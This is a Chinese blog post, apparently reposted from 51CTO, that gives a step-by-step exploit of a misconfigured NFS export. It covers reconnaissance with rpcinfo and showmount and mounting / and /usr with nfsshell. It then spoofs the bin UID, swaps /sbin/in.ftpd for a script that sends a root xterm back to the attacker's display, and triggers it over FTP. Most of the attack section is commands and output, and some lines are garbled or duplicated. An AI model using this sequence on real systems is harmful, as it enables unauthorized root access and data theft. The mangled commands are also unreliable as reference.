Unix下的nfs渗透技术

简介:

现在的许多文章都是写的WIN2K攻防,而UNIX下 的是少之又少,而我今天写的就是UNIX下的漏洞。

众所周知,NFS是 一个非常流行的网络操作系统,现在大多数的UNIX用的是其第三版,它依赖与RPC服务。允许客户 主机远程访问其文件系统的服务器都要小心,因为NFS的配置不当也会导致被攻击。

首先很多的MOUNTDNFS漏 洞已经被发现了,NFS提供的安全性都依赖与文件句柄,如果能探测到一个系统的文件句柄,攻击者就可以轻易访问主机。

下面就给大家一个攻 击实例,让大家看看一个配置不当的NFS系统是如何被利用的。我们需要NFSSHELL,在FTP//FTP.CS.VU.NL/PUB/LEENDERT/NFSSHELL.TAR.GZ可 以下载到。

那天我用RPCINFO命 令扫查看一台UNIX主机,发现了这样的数据:

100005 1 UDP 32845 MOUNTD

100005 2 UDP 32845 MOUNTD

100005 3 UDP 32845 MOUNTD

100005 3 UDP 32845 MOUNTD

100005 1 TCP 32811 MOUNTD

100005 2 TCP 32811 MOUNTD

100005 3 TCP 32811 MOUNTD

...........

凭感觉,这个信息可 以利用,但是对它又不熟,所以查了一下,得到了这个漏洞的说明。OK,既然有了资料,那就开始动手吧。

SHOWMOUNT -E XXX.XXX.XXX.XXX

EXPORT LIST FOR XXX.XXX.XXX.XXX

/EVERYONE

/USR EVERYONE

SHOWMOUNT的结果指明了整个//USR文件系统都出 口到任意主机,攻击者只需要远程安装这个//USR文件系统,就能访问它们了,具体只受权限影 响。

大多数的UNIX中 都有MOUNT命令可用,你可以运行MAN MOUNT看看帮助,因为不同版本的可能用法不太一 样。

我们用MOUNT XXX.XXX.XXX.XXX// MNT

XXX.XXX.XXX.XXX的 根目录安装到本地的/MNT安装点上。

发现这种漏洞的一个 更好的程序是NFSSHELL,我们要先输入对哪个安装主机感兴趣,以下的被攻击主机都是本人自己 虚拟的网络环境:

NFS>HOST DEX

USING A PRIVILEGED PORT(1022)

OPEN DEX(192.168.0.1) TCP

下来我们看看主机的 哪些文件系统被出口;

NFS>EXPORT

EXPORT LIST FOR DEX:

/EVERYONE

/USR EVERYONE

现在就可以安装/文 件系统了:

NFS>MOUNT /

USING A PRIVILEGED PORT(1021)

MOUNT / TCP,TRANSFER SIZE 8192 BYTES.

下来我们来确定访问 这个系统时用的UID

NFS>STATUS

USER ID :-2

GROUP ID :-2

REMOTE HOST:DEX

MOUNT PATH:/

TRANSFER SIZE:8192

现在我们已经安装了/, 而且发现UIDGID都是NOBODYOK,现 在我们既然安装了整个文件系统树,那么我们现在就可以查看/ETC/PASSWD文件的内容了:)。

NFS>CD /ETC

NFS>CAT PASSWD

怎么样看到了吧,不 过因为该文件是经过加密的,所以我们无法破解它,但是不要灰心,我们把安装改为/USR,UIDGID改 为BIN,而获得二进制文件的访问权:

NFS>MOUNT /USR

USING A PRIVILEGED PORT (1022)

MOUNT /USR,TCP,TRANSFER SIZE 8192 BYTES

NFS>UID 2

NFS>GID 2

NFS>STATUS

USER ID :2

GROUP ID :2

REMOTE HOST:DEX

MOUNT PATH :/USR

TRANSFER SIZE :8192

现在我们具有该远程 系统上bin用户的所有特权了,在我们的例子中,该文件系统出口时没有设置会限制bin创建或修改 文件的能力的任何特殊选项。到了这一步,只需发射会一个xterm或创建一个到本地系统的反向通道就能获取对于目标的系统的访 问权了。

我们在本地系统创建以下内容的一个脚本文件,并把它命名为INFTPD

#/BIN/CH

/USR/OPENWIN/BINXTERM-DISPLAY10.10.100.0

接着在NFS交互中CD到目标上的/SBIN目 录,把INFTPD替换成我们的版本;

NFS>CD/SBIN

NFS>PUT.IN.FTPD

最后,我们通过XHOST命 令以允许目标服务器连接回本地的X服务器,在执行FTP命令以在目标服务器上启动执行/SBININFTPD

最后,我们通过XHOST命 令允许目标服务器连接回本地的X服务器,再执行FTR命令以在目标服务器上启动执行/SBIN/IN.FTPD

XHOST+dex

TO ACCESS CONTROL LIST

FTP dex

CONNECTED dex

其结果是在本地系统上显示一个属主为ROOTXTERM。 如下面的交互例子所示,既然目标系统上INFTPD是以ROOT特权 从INETD中派生执行的,因此INFTPD将以ROOT特 权执行我们的脚本,从而导致直接的ROOT访问。

#ID

UID=OROOT  GID=ROOT

  到此为止,本文已经全部完成,由此可见安全性在高的系统因为配置不当也会出现致命的漏洞














本文转sinojelly51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/410117,如需转载请自行联系原作者

相关文章
|
4月前
|
存储 Kubernetes Docker
k8s持久化储存:pv,pvc和nfs等相关技术
k8s持久化储存:pv,pvc和nfs等相关技术
|
存储 安全 Linux
nfs共享存储技术
nfs共享存储技术
475 0
|
存储 Kubernetes Docker
k8s持久化储存:pv,pvc和nfs等相关技术
k8s持久化储存:pv,pvc和nfs等相关技术
103 0
|
Web App开发 存储 Docker
NFS PersistentVolume - 每天5分钟玩转 Docker 容器技术(151)
上一节我们介绍了 PV 和 PVC,本节通过 NFS 实践。
2547 0